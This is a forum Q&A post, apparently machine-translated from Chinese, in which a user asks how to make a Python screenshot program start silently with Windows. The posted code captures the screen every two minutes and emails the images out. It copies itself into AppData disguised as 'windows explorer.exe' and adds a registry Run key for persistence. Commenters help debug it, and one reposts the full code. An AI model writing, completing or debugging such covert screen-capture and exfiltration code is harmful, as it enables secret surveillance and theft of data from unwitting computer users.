如何将我的python EXE文件静默添加到Windows启动

我正在使用该启动regedit代码(python 3),但无法正常工作

启动代码:

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

完整代码在这里

我已经制作了一个python脚本,可以在特定时间间隔后发送屏幕截图。现在,我要向该程序添加持久性(程序也要在启动时启动)。我已经在程序中添加了启动语句,但是它不起作用。

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
评论
  • 死肥仔
    死肥仔 回复

    Your become_persistent() is never called.

    您需要取消缩进这一行:

    self.become_persistent()
    
  • pquo
    pquo 回复

    您会尝试使用此代码吗?我修改了代码,将所有错误记录到文件中并将其放在桌面上。查看文件,并告诉我您在评论中看到的内容。回到您身边后,我会将此答案更新为实际的答案

    import smtplib
    import sys
    from email.mime.multipart import MIMEMultipart
    from email.mime.image import MIMEImage
    import time
    import os
    from smtplib import SMTP
    import shutil
    from PIL import ImageGrab
    import subprocess
    import self
    
    path = '~/Desktop/log.txt'
    full_path = os.path.expanduser(path)
    
    
    def become_persistent(self):
        evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
        if not os.path.exists(evil_file_location):
            shutil.copyfile(sys.executable, evil_file_location)
            subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
        self.become_persistent()
    
    
    s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login("zainali90900666@gmail.com", "password")
    msg = MIMEMultipart()
    msg['Subject'] = 'Test Email'
    msg['From'] = "zainali90900666@gmail.com"
    msg['To'] = "zainali90900666@gmail.com"
    
    try:
        while True:
            snapshot = ImageGrab.grab()
            # Using png because it cannot write mode RGBA as JPEG
            file = "scr.png"
            snapshot.save(file)
            # Opening the image file and then attaching it
            with open(file, 'rb') as f:
                img = MIMEImage(f.read())
                img.add_header('Content-Disposition', 'attachment', filename=file)
                msg.attach(img)
            os.remove(file)
            s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
            # Change this value to your liking
            time.sleep(120)
    except Exception as e:
        with open(full_path, 'a') as f:
            f.append(f"{type(e)}: {e}")